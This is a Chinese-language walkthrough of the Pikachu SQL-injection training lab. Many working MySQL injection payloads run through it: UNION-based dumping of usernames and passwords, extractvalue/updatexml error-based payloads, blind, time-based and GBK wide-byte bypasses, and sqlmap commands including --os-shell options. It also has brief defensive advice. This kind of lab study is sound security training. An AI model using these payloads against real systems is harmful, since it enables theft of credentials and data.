SQL注入(pikachu)
注入流程
SQL注入注入点判断与注入手法介绍 - FreeBuf网络安全行业门户
【干货】如何判断 Sql 注入点_判断是否存在sql注入-CSDN博客
1、是否有注入点--->第一要素-----在参数后面加上单引号,如果页面返回错误,则存在 Sql 注入。原因是无论是字符型还是整型都会因为单引号个数不匹配而报错。(如果未报错,不代表不存在 Sql 注入,因为有可能页面对单引号做了过滤,这时可以使用判断语句进行注入)
1)可控参数的改变能否影响页面显示结果。
2)输入的SQL语句是否能报错-能通过数据库的报错,看到数据库的一些语句痕迹(select username, password from user where id = 4 and 0#3)输入的SQL语句能否不报错-我们的语句能够成功闭合
2、什么类型的注入
3、语句是否能够被恶意修改--->第二个要素
4、是否能够成功执行--->第三个要素
5、获取我们想要的数据。
数据库->表->字段->值
根据注入位置数据类型将sql注入分类
利用order判断字段数
order by x(数字) 正常与错误的正常值 正确网页正常显示,错误网页报错
?id=1' order by 3--+
利用 union select 联合查询,将id值设置成不成立,即可探测到可利用的字段数payload是插入到原来的语句当中,构成了两个sql的语句,当第一个sql语句正确返回时,便不会显示第二个sql语句的结果。
?id=-1 union select 1,2,3 --+
利用函数database(),user(),version()可以得到所探测数据库的数据库名、用户名和版本号
?id=-1' union select 1,database(),version() --+
利用 union select 联合查询,获取表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='已知库名'--+
利用 union select 联合查询,获取字段名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='已知库名' table_name='已知表名'--+
利用 union select 联合查询,获取字段值
?id=-1' union select 1,2,group_concat(已知字段名,':'已知字段名) from 已知表名--+
数字型注入(post)
选择不同的userid会显示出不同用户的信息
抓个包看看呢
通过修改id值判断是否存在注入点
id=1' ---报错,存在注入点
id=1 and 1=1 ----页面依旧运行正常,继续进行下一步
id=1 and 1=2 ---页面运行错误,则说明此 Sql 注入为数字型注入
原因如下:
查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。
当输入 and 1=1时,后台执行 Sql 语句:select * from <表名> where id = x and 1=1 没有语法错误且逻辑判断为正确,所以返回正常。
当输入 and 1=2时,后台执行 Sql 语句:select * from <表名> where id = x and 1=2 没有语法错误但是逻辑判断为假,所以返回错误。
我们再使用假设法:如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况:
select * from <表名> where id = 'x and 1=1'
select * from <表名> where id = 'x and 1=2'
查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。
order by 判断字段数
?id=1 order by 3时报错,则有两个字段数
?id=-1 union select 1,2 联合查询
1和2都可以作为回显点
?id=-1 union select 1,database()获得表名
库名=pikachu,获取库名:
?id=-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema ='pikachu'
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='已知库名'--+
获取字段名
id=-1 union select 1,group_concat(column_name)from information_schema.columns where table_schema='pikachu' and table_name='users'
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='已知库名' table_name='已知表名'--+
字段名 =password ,获取字段值
id=-1 union select username,password from users
or
id=-1 union select 1,group_concat(username,':',password) from pikachu.users
MD5在线平台解密即可
字符型注入(get)
输入的东西会在url显示,是get型
?name=1'
报错则存在注入点
url 地址中输入?name= x' and '1'='1 页面运行正常,继续进行下一步。
url 地址中继续输入?name= x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。
原因如下:
当输入 and ‘1’='1时,后台执行 Sql 语句:select * from <表名> where id = 'x' and '1'='1'语法正确,逻辑判断正确,所以返回正确。
当输入 and ‘1’='2时,后台执行 Sql 语句:select * from <表名> where id = 'x' and '1'='2'语法正确,但逻辑判断错误,所以返回正确。
#应该直接编码或者 --+
url中#号是用来指导浏览器动作的(例如锚点),对服务器端完全无用。所以,HTTP请求中不包括#
1' union select 1,2%23 //爆回显位置,如果没有回显位置则使用报错注入
1' union select 1,database()%23 //爆库名
1' union select 1,group_concat(table_name)from information_schema.tables where table_schema='pikachu'%23 //爆表名
1' union select 1,group_concat(column_name)from information_schema.columns where table_schema='pikachu' and table_name='users'%23 //爆字段名
1' union select username,password from users %23 //爆字段值
搜索型注入
一般后台搜索组合的sql的语句如下
$sql = "select * from user where password like '%$pwd%' order by password";
输入1'看看有没有报错
我们可以用1%’闭合前面的‘%,用#注释掉后面的 ‘ %或者用’%‘=’注释
-
1' ,如果出错的话,有90%的可能性存在注入; 1%' and 1=1 and #`(这个语句的功能就相当于普通SQL注入的 `and 1=1` )看返回情况; 1%' and 1=2 and #`(这个语句的功能就相当于普通SQL注入的 `and 1=2` )看返回情况; 4. 根据2和3的返回情况来判断是不是搜索型文本框注入了。
1%' union select 1,2,3 %23 // 爆回显位置
1%' union select 1,2,database() %23 // 爆库名
1%' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='pikachu' %23//爆表名
1%' union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='pikachu' and table_name='users'%23 //爆字段名
1%' union select 1,username,password from users %23//爆字段值
xx型注入
按照报错信息来构造闭合
我们可以使用(转义字符)来判断SQL注入的闭合方式。
原理,当闭合字符遇到转义字符时,会被转义,那么没有闭合符的语句就不完整了,就会报错,通过报错信息我们就可以推断出闭合符。
分析报错信息:看'单引号后面跟着的字符,是什么字符,它的闭合字符就是什么,若是没有,就为数字型。
老样子,先输入1'
我们可以看到 ''1'')'
去除前后两个单引号,所以闭合字符为 ')
1') union select 1,2 # // 爆回显位置
1') union select 1,database() # // 爆库名
1') union select 1,group_concat(table_name)from information_schema.tables where table_schema='pikachu' #//爆表名
1') union select 1,group_concat(column_name)from information_schema.columns where table_schema='pikachu' and table_name='users'# //爆字段名
1') union select username,password from users #//爆字段值
"insert/update"注入
新题型
发现有个注册页面,注册页面如果有注入漏洞的话,一般是insert类型的,因为注册相当于往数据库的表中插入一行新数据
填写注册信息,然后抓个包,可以看到时post形式传输的数据
尝试在1后加单引号,报错了而且报错信息中没有出现1,可能是单引号完成闭合了,最后还需要加个)完成闭合
构建闭合:username=1','2','3','4','5','6')#
构建成功了,但是没有回显,没有回显用报错注入
报错注入
what is 报错注入?
报错注入是一种SQL注入类型,用于使SQL语句报错的语法,用于注入结果无回显但错误信息有输出的情况。返回的错误信息即是攻击者需要的信息。所以当我们没有回显位时可以考虑报错注入这种方法来进行渗透测试,前提是不能过滤一些关键的函数
利用xpath语法错误来进行报错注入主要利用extractvalue
和updatexml
两个函数。
使用条件:mysql版本>5.1.5
extractvalue函数
函数原型:extractvalue(xml_document,Xpath_string)
正常语法:extractvalue(xml_document,Xpath_string);
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:Xpath_string是xpath格式的字符串
作用:从目标xml中返回包含所查询值的字符串
第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,因此可以利用。
pyload:`id='and(select extractvalue("anything",concat('~',(select语句))))
针对MYSQL数据库
查数据库名:id=1' and extractvalue(1,concat(0x7e,(select database())))
爆表名:id=1'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))
爆字段名:id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME")))
爆数据:id=1' and extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME)))
注:
① 0x7e=’~’
② concat(‘a’,‘b’)=“ab”
③ version()=@@version
④ ‘~‘可以换成’#’、’$'等不满足xpath格式的字符
⑤ extractvalue()能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取或limit分页,一次查看最多32位
updatexml函数
函数原型:updatexml(xml_document,xpath_string,new_value)
正常语法:updatexml(xml_document,xpath_string,new_value)
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:xpath_string是xpath格式的字符串
第三个参数:new_value是string格式,替换查找到的负荷条件的数据
作用:改变文档中符合条件的节点的值
第二个参数跟extractvalue函数的第二个参数一样,因此也可以利用,且利用方式相同
payload:id='and(select updatexml("anything",concat('~',(select语句())),"anything"))
针对MYSQL数据库
爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
爆数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))
当报错内容长度不能超过32个字符,常用的解决方式有两种:
- limit 分页
- substr()截取字符
insert注入
payload里面是or或者and都可以,注意最后可以不用注释符,把第一个参数的单引号闭合就可以了
当然不怕麻烦的话也可以构造下面的payload:
username=xixi' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '','22','33','44','55','66')#&password=666666&sex=&phonenum=&email=&add=&submit=submit
1' and extractvalue(1,concat(0x7e,(select database()))) or '
//获取库名
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'))) or '
//获取表名
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'))) or '
//获取列名
1' and extractvalue(1,concat(0x7e,(select group_concat(username,':',password) from users)))or '
//获取数据
md5加密是32位,而这个函数只能显示32位,所以明显不够,所以这里需要我们使用substr函数
1' and extractvalue(1,concat(0x7e,substr((select group_concat(username,':',password) from users),32,63))) or '
//获取剩余数据
拼接解码即可
update注入
update注入应该是在修改个人信息的页面
“delete”注入
留言板,根据提示抓包看看删除操作
貌似是个注入点
无法回显,采用报错注入
库:id=58 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
表:id=58 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='pikachu'),0x7e),1)
列:id=58 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='pikachu'and table_name='users'),0x7e),1)
数据:id=58 and updatexml(1,concat(0x7e,(select group_concat(username,password)from users limit 0,1),0x7e),1)
"http header"注入
登录,不会真有人被这个界面吓到吧@MUneyoshi 哈哈哈哈哈哈
在Uer-Agent判断有无注入点,加一个单引号,报错说明有注入点,同理,在Accept字段也发现注入点,任选其一即可。
使用报错注入(学不下去了,直接复制我好大儿的)
1' and extractvalue(1,concat(0x7e,(select database()),0x7e))or ' //爆数据库
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='pikachu'),0x7e))or ' //爆表
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='pikachu' and table_name='users'),0x7e))or ' //爆列 1' and extractvalue(1,concat(0x7e,(select group_concat(username,':',password)from pikachu.users),0x7e))or '//爆数据
基于boolian的盲注
布尔盲注,与普通注入的区别在于“盲注”。在注入语句后,盲注不是返回查询到的结果,而只是返回查询是否成功,即:返回查询语句的布尔值。因此,盲注要盲猜试错。由于只有返回的布尔值,往往查询非常复杂,一般使用脚本来穷举试错。
1 手工:PiKachu之Sql (SQL注入)通关 2022_pikachu sql-CSDN博客
2 python脚本:python实现sql布尔盲注-CSDN博客
3 sqlmap:SQLMAP注入教程-11种常见SQLMAP使用方法详解 - 点点花飞谢 - 博客园 (cnblogs.com)
sqlmap用于mysql注入
(1) 获得所有数据库/查询当前库名
sqlmap -u "http://www.xxx.com/link.php?id=321" --dbs
sqlmap -u "http://www.xxx.com/link.php?id=321" --current-db
(2) 通过第一步的数据库查找表(假如数据库名为dataname)
sqlmap -u "http://www.xxx.com/link.php?id=321" -D dataname --tables
(3) 通过2中的表得出列名(假如表为table_name)
sqlmap -u "http://www.xxx.com/link.php?id=321" -D dataname -T table_name --columns
(4) 获取字段的值(假如扫描出id,user,password字段)
sqlmap -u "http://www.xxx.com/link.php?id=321" -D dataname -T table_name -C
"id,user,password" --dump
常用指令:详解:【SQL注入】Sqlmap使用指南(手把手保姆版)持续更新_web union sql 注入 测试工具-CSDN博客
基本用法:
-u:指定目标URL。
--threads=<num>:指定并发线程数。
--level=<level>:设置测试等级,范围从1到5,默认为1。
--risk=<risk>:设置测试风险级别,范围从1到3,默认为1。
注入检测:
--dbs:获取数据库名称。
--tables:获取当前数据库中的表。
--columns -T <table>:获取指定表的列。
--dump -T <table> -C <column1,column2,...>:获取指定表中指定列的数据。
注入攻击:
--os-shell:获取操作系统的命令执行权限。
--sql-shell:获取数据库的命令执行权限。
--os-cmd=<command>:执行操作系统命令。
--sql-query=<query>:执行自定义的SQL查询语句。
其他选项:
--batch:以非交互模式运行,忽略所有交互请求。----默认在Y/N中选Y
--flush-session:在每个HTTP请求之前刷新会话。
--tamper=<tamper_script>:指定自定义的tamper脚本,用于修改请求数据。
查询当前库 (ip 要改成主机内网ip 因为我们用的是Kali里的sqlmap)
sqlmap -u "http://10.62.106.171/pikachu/vul/sqli/sqli_blind_b.php?name=1*&submit=%E6%9F%A5%E8%AF%A2" --current-db --batch
爆表名
sqlmap -u "http://10.62.106.171/pikachu/vul/sqli/sqli_blind_b.php?name=1*&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables --batch
爆列名
sqlmap -u "http://10.62.106.171/pikachu/vul/sqli/sqli_blind_b.php?name=1*&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns --level 5 --batch
爆数据
sqlmap -u "http://10.62.106.171/pikachu/vul/sqli/sqli_blind_b.php?name=1*&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T -C username,password --dump --level 5 --batch
基于时间的盲注
输入框输入任何消息返回内容都是一样的
那么可以考虑插入sleep
函数来观察响应时长来判断是否有注入点
1' and sleep(3) #
发现页面缓冲了3秒才有反应,说明确实是注入点
可用sqlmap爆破,pyload和布尔盲注一样
宽字节注入
addslasehes()转义函数
addslashes()
是 PHP 中用于转义字符串中的特殊字符的函数之一。它会在指定的预定义字符(单引号、双引号、反斜线和 NUL 字符)前面添加反斜杠,以防止这些字符被误解为代码注入或其他意外操作。
用法:
string addslashes ( string $str )
示例:
$input = "It's a beautiful day!";
$escaped_input = addslashes($input);
echo $escaped_input;
在上述示例中,如果 $input 包含单引号 ',调用 addslashes() 后将会得到 "It\'s a beautiful day!"。这样做可以避免潜在的 SQL 注入等安全问题。
宽字节注入原理
在网站开发中,防范SQL注入是至关重要的安全措施之一。常见的防御手段之一是使用PHP函数 addslashes() 来转义特殊字符,如单引号、双引号、反斜线和NULL字符。(通常情况下,SQL注入点是通过单引号来识别的。但当数据经过 addslashes() 处理时,单引号会被转义成无功能性字符,在判断注入点时失效。)然而,宽字节注入攻击利用了这种转义机制的漏洞,通过特殊构造的宽字节字符绕过 addslashes() 函数的转义,从而实现对系统的攻击。(攻击者利用宽字节字符集(如GBK)将两个字节识别为一个汉字,绕过反斜线转义机制,并使单引号逃逸,实现对数据库查询语句的篡改。)
示例:
输入payload: ' or 1=1 #
经过 addslashes() 后:\' or 1=1 #
分析:'的url编码是%27,经过addslashes()以后,'就变成了\',对应的url编码就是%5c%27
构造绕过payload:
构造绕过payload: %df' or 1=1 #
经过 addslashes() 后: %df\' or 1=1 #
分析:我们在payload中的'之前加了一个字符%df,经过addslashes()以后,%df'就变成了%df\',对应的URL编码为:%df%5c%27。 当MySQL使用GBK编码时,会将%df%5c 解析成一个字,从而使得单引号%27成功逃逸。
防范措施
- 避免直接使用
addslashes()
:考虑替代方案如使用预处理语句或更安全的转义函数。 - 严格验证用户输入:确保只接受符合预期格式和内容的数据。
- 统一字符编码方式:避免混合使用不同字符编码方式来处理字符串。
- 定期审查代码:持续审查代码以发现潜在漏洞,并及时修复。
回到靶场
在输入框输入1’发现没回显,输入%df'也没反应,有UU说是对语句进行了urlencode
那我们bp抓包注入
%df'
%df' or 1=1 # (因为用户名不能正确,那么连接词肯定不能用and了,得用or)
判断字段数
%df' order by n#
n=3时报错说明字段数为2
判断回显点
%df' union select 1,2#
爆库
%df' union select 1,database()#
爆表
%df’ union select 1,group_concat(table_name)from information_schema.tables where table_schema='pikachu'# //不能选择此种payload,因为单引号被转义了
正确payload(嵌套)
%df' union select 1,group_concat(table_name)from information_schema.tables where table_schema=database()#
爆列
%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1))#
爆字段
%df'union select 1,(select group_concat(username,0x3a,password) from users)#
//0x3a是冒号的ASCII码